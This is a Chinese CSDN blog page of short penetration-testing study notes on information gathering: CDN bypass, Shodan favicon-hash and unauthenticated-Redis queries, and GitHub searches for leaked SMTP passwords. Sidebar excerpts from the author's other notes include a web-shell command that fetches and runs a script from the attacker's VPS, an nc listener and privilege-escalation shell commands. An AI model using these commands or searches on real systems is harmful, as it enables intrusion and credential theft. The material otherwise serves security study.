【学习笔记】渗透信息搜集

最新推荐文章于 2024-06-15 17:51:03 发布
最新推荐文章于 2024-06-15 17:51:03 发布
阅读量117 收藏
点赞数
分类专栏： web安全学习笔记 文章标签： cdn 渗透测试 信息安全 icons 搜索引擎
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/chualam/article/details/109349714
版权

CDN：内容分发网络，利用缓存服务器，提升访问速度。
绕过：发邮件，shodan，SSRF

shodan详解：语法：http.favicon.hash来查询 
                      具体：将icon文件进行base64解码，然后通过python的mmh3库进行运算
                      语法：port:"6379" -noauth  (6379是redis的端口)

github code search：域名 stmp password

снυαιαм ιее
关注
专栏目录
【2】WEB渗透基础-CDN检测(2)
司徒荆的博客
04-14 519
网站真实IP查找
渗透测试学习笔记
Tom197的博客
06-08 1453
2.子域名查询 3.NDS2IP 查询IP，可以通过ping域名方式获得。 站长之家也可以获得，得到IP更详细，通过不同服务器访问，得到大致位置。 nslookup 域名 dig 域名 dnsenum 域名 4.nmap测试 测试服务器所在局域网情况（服务器有哪些设备，开放了什么端口端口），防止一台服务器被攻陷，再延续到局域网其他服务器，nmap -sp 地址。 nmap -O 查询这一网络中每一台设备是什么系统 。AWVS ——new scan 输入网站地址，得到所有漏洞的信息，点击相应漏洞，右侧出
渗透之路 信息收集【第一篇】CDN识别与绕过
dfu65065的博客
08-08 315
CDN识别 1.超级ping 原理：不同地区ping相同的服务器，看 ip是否一致 测试未使用cdn的站点 ask.mingren.online 测试使用了cdn的站点 www.baidu.com 获取真实IP CDN：CDN的基本原理是广泛采用各种缓存服务器，将这些缓存服务器分布到用户访问相对集中的地区或网络中 CDN这个技术很难弄，特别是大中型网站...
web渗透的信息收集
qq_45584159的博客
12-15 3221
文章目录信息收集域名信息的收集网站指纹识别服务器类型(Linux/Windows)网站容器(Apache/Nginx/Tomcat/IIS脚本类型(php/jsp/asp/aspx)数据库类型(Mysql/Oracle/Accees/Mqlserver)常见搭配：端口扫描(nmap)网站敏感目录和文件旁站和C段扫描网站漏洞扫描 信息收集 信息收集对于渗透测试前期来说是非常重要的，因为只有我们掌握了目标网站或目标主机足够多的信息之后，我们才能更好地对其进行漏洞检测。正所谓，知己知彼百战百胜！ 信息收集的..
信息收集学习笔记
最新发布
2301_81894716的博客
06-15 1715
域名的分类：国际域名： .com商业公司 .net网络组织 .org组织协会等 .gov政府。什么是指纹识别：通过关键特征，识别出目标的CMS系统，服务器，开发语言，操作系统，CDN，WAF的类别版本等。www.baidu.com ----->域名解析服务------>220.181.38.1。在域名查询出联系人，姓名，邮箱，手机号可以作为爆破用的社工字典，邮箱可以作为社工钓鱼的基础。域名信息，IP段，开放的端口，网站架构，文件目录结构，软件版本， WAF，旁站，C段等。
渗透测试学习笔记（信息收集）
hklearner的博客
02-14 2752
渗透测试学习笔记（信息收集） 信息收集目的：信息收集作为渗透前期的准备工作扮演着极为重要的角色，我们的 最终目的是拿下目标，那么信息收集的目的就是为拿下目标进行铺路。良好的信息 收集能够更全面的掌握对方情况，并为你下一步的操作起到帮助决策的作用。 这里主要是web的信息收集，即针对web服务器对象的 域名信息 - a. 对应ip收集： i. ping域名 ii. ip138查找历史ip iii. 全国ping b. 子域名收集：（17:35） ​ i. Layer子域名挖掘机，su
渗透之信息收集（学习笔记）
duochoushangan_的博客
09-03 1724
目录 前言 一、信息收集方式 二、信息收集技术 2.1whois查询 2.2备案信息查询 2.3子域名信息收集 2.4真实IP查询 1.无CDN 2.有CDN 2.5CMS指纹识别 2.6整站分析 2.7网络空间搜索引擎 2.8Github 2.9SRC漏洞平台 2.10收集敏感目录文件 2.XGoogle hacking语法 总结 前言 在渗透测试的过程中第一个要做的事情就是进行信息的收集，后面的所有过程都是基于此点进行操作，这一步没做好，后面的所有操作都无法展开..
渗透测试基础学习笔记
weixin_49898946的博客
03-22 1196
owasp 开源web应用安全项目官网：owasp.org.cnowasp top10 web常见十大安全风险web安全测试指南或者。
Cracer渗透视频课程学习笔记——信息搜集
尘埃飞舞
08-06 7749
信息搜集 渗透一个网站收集这部分信息基本就够用了。 常用渗透测试系统：Back track5 ,parrot(新出来的)，Kali(最好用的使用的人最多的) 一、DNS收集 域名--IP收集： 相关域名对应ip，相关工具：nslookup、一些工具网站 子域名收集： 工具：layer、sub...
渗透测试学习笔记之案例一.pdf
04-06
### 渗透测试学习笔记之案例一 #### 1. 前言 在渗透测试领域，持续的技术积累和实战经验分享对于个人成长至关重要。本文档记录了一个具体的渗透测试案例，旨在通过实战演练来加深对渗透测试技术的理解，并为后续的...
渗透测试学习笔记资源
08-19
根据提供的文件信息，我们可以深入探讨渗透测试的相关知识点。渗透测试是一种模拟攻击者行为的安全评估方法，旨在识别系统、网络或应用程序中的安全漏洞。通过利用这些漏洞，渗透测试可以帮助组织了解其安全态势，并...
渗透学习笔记
12-30
这份名为"渗透学习笔记"的压缩包包含了多个文本文件，涵盖了渗透测试中的一些关键领域，如MySQL注入、CMS探测、数据库探测等。以下是这些知识点的详细说明： 1. **MySQL手注大全.txt**： MySQL注入是常见的Web应用...
【学习笔记】进入内网的几种方法
chualam的博客
10-29 3400
当可以通过ssh连接A 目标访问B ssh ip -lrr //空密码连接 ssh ip -D端口 -CNfg（流量压缩） //端口转发 >>export all_proxy=http://127.0.0.1:端口 当不可以通过ssh 下载反弹shell 的py脚本 通过py启动http （python -m SimpleHTTPServer） curl A的ip/shell.php --data "c=system("curl 我的vps的ip/xx.py|python");" nc -l.
【学习笔记】常见的提权方式
chualam的博客
10-29 1200
提权：linux 内核提权 配置错误提权（用dirtycow提权） windows 系统漏洞提权 msf 前提：已经通过nc -lvv 监听 find /usr/bin -perm -us=s usid权限文件查询 ls -la /usr/bin/passwd 看到-rwsr-xr-x 1 说明存在suid位 如何提权？用vim.basic提权（可以编辑root才能运行的文件） 然后用python -c 'import pty;pty.spawn("/bin/bash")' 交互式sh...
【学习笔记】Hadoop YARN REST API未授权访问
chualam的博客
11-01 904
一般来说 api未授权访问一般导致信息泄露，但是如果包含管理和任务执行功能 就会扩大危害程度 它的restapi开放在xx端口 善用官方文档 看调用使用说明 查看具体调用的位置 curl -v -X post '网站详细地址' 可以得到application id 从官方文档查看调用的具体参数 编辑一个data.json curl -s -i -X POST -H 'accept:application/json' -H 'content-type:application/json' api
【学习笔记】 MetInfo 6.0.0 任意文件读取漏洞
chualam的博客
11-02 870
readfile函数(xx) 控制xx里面的内容就可以实现任意读取
【学习笔记】74cms v3.6 任意密码重置漏洞
chualam的博客
11-02 815
找回密码页面 抓包改电话
【学习笔记】DedeCMS 5.7 /install/index.php 远程文件包含漏洞
chualam的博客
11-02 693
变量覆盖：用我们自己自定义的参数替换程序原有的变量值 一般需要结合程序其他功能来形成完整的攻击 原本带有变量覆盖功能的函数 extract 和prase_str 或者是全局变量导致的覆盖 $$key = $abc $key = '123' $123 = $abc 如果我们可以控制$key 就可以实现变量的覆盖 想想是否可以让require _once变成空 这样就可以成功覆盖了 ...
BackTrack渗透测试学习笔记概述
"这是一份关于BackTrack渗透测试的学习笔记，由作者IceSn0w编写，旨在分享其在BackTrack使用过程中的经验和技巧。笔记涵盖了Metasploit渗透测试指南、信息收集、身份识别、社会工程学攻击、Metasploit运用层攻击、...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值